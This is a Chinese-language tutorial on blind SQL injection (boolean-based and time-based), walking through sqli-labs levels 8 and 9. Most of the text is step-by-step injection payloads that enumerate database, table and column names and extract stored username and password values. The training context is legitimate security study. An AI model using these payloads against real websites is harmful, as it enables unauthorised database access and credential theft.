sql盲注的分类
首先sql盲注分为基于布尔的盲注以及基于时间的盲注。
基于布尔的盲注
【特点】:页面存在异常,但是既无回显也无报错信息
【利用】:只能通过正确和错误的两个状态来判断payload是否正确
也就是说通过人工方式不断尝试,最终得到想要的信息
基于时间的盲注
【特点】:页面不存在异常,且既无回显也无报错信息
【利用】:只能利用条件语句结合执行时间的长短来判断payload是否正确
使用条件语句if(exp1,exp2,exp3)
如果exp1是true,则执行exp2,否则执行exp3
时间盲注的【核心思想】:
if(payload,sleep(3),1)
payload正确时,程序暂停3秒,否则立刻执行
if(payload,1,sleep(3))
payload正确时,程序立刻执行,否则暂停3秒
sql盲注练习
sqli-labs第8关 布尔型盲注
【步骤1】求闭合字符
网站的闭合字符应该为单引号’
【步骤2】求当前数据库名的长度
判断当前数据库名长度为8
//其中NUMBER 为测试数字
?id=1' and length(database())<NUMBER %23
【步骤3】求当前数据库名对应的ascii值
跟步骤2类似,利用运算符>或者<不断缩小范围。
下图显示求出第一个字符为s,依次类推求出剩余7个字符
最终得到 security
//其中NUMBER 为测试数字
?id=1' and ascii(substr(database(),1,1))<NUMBER %23
【步骤4】求表的数量
//其中NUMBER 为测试数字
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')<NUMBER %23
【步骤5】求表名长度
//其中NUMBER 为测试数字
?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)<NUMBER %23
【步骤6】求表名对应的ascii值
//其中NUMBER 为测试数字
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<NUMBER %23
依次类推 得到剩余5个字符的ascii值,最终得到该表为email
【步骤7】求列的数量
//其中NUMBER 为测试数字
?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')<NUMBER %23
【步骤8】求列名长度
//其中NUMBER 为测试数字
?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)<NUMBER %23
【步骤9】求列名对应的ascii值
//其中NUMBER 为测试数字
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))<NUMBER %23
依次求出另外一个字符的ascii值
最终确认为id
【步骤10】求字段的数量
//其中NUMBER 为测试数字
?id=1' and (select count(concat(username,0x23,password)) from security.users)<NUMBER %23
【步骤11】求字段内容长度
//其中NUMBER 为测试数字
?id=1' and (select length(concat(username,0x23,password)) from security.users limit 0,1)<NUMBER %23
【步骤12】求字段内容对应的ascii值
//其中NUMBER 为测试数字
?id=1' and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))<NUMBER %23
最终结果为Dumb#Dumb
sqli-labs第9关 时间型盲注
【步骤1】求闭合字符
//若执行了sleep()函数,则说明闭合字符为单引号
?id=1' and sleep(5) %23
响应时间为5.24s 说明执行了sleep(5) 即闭合字符为单引号‘
【步骤2】求当前数据库名的长度
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if(length(database())=8,sleep(5),1) %23
注意:在实际的手工测试过程中一般使用运算符>或者<来进行判断,最终确定。
数据库名长度为8
【步骤3】求当前数据库名对应的ascii值
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)%23
得到数据库名的第一个字符为s,依次求出剩余7个字符
得到数据库名为security
【步骤4】求表的数量
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if((select count(*) from information_schema.tables where table_schema='security')=4,sleep(5),1)%23
数据库名为security下有4个表
【步骤5】求表名长度
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6,sleep(5),1)%23
依次得到表名长度为6、8、7、5
【步骤6】求表名对应的ascii值
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),sleep(5),1)%23
得到第一个表名为emails 依次得到另外3个表名分别为referers、uagents、users
【步骤7】求列的数量
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1)%23
security.users 中列数为3
【步骤8】求列名长度
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,sleep(5),1)%23
第一列 长度为2
第二列 长度为8
第三列 长度为8
【步骤9】求列名对应的ascii值
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if(ascii(substr((select(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)%23
第一列 列名为id
第二列 列名为username
第三列 列名为password
【步骤10】求字段的数量
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if((select count(concat(username,0x23,password)) from security.users)=13,sleep(5),1)%23
数量为13
【步骤11】求字段内容长度
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if((select length(concat(username,0x23,password)) from security.users limit 0,1)=9,sleep(5),1)%23
第一个字段内容长度为9
【步骤12】求字段内容对应的ascii值
//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1' and if(ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68,sleep(5),1)%23
第一个字段内容为Dumb#Dumb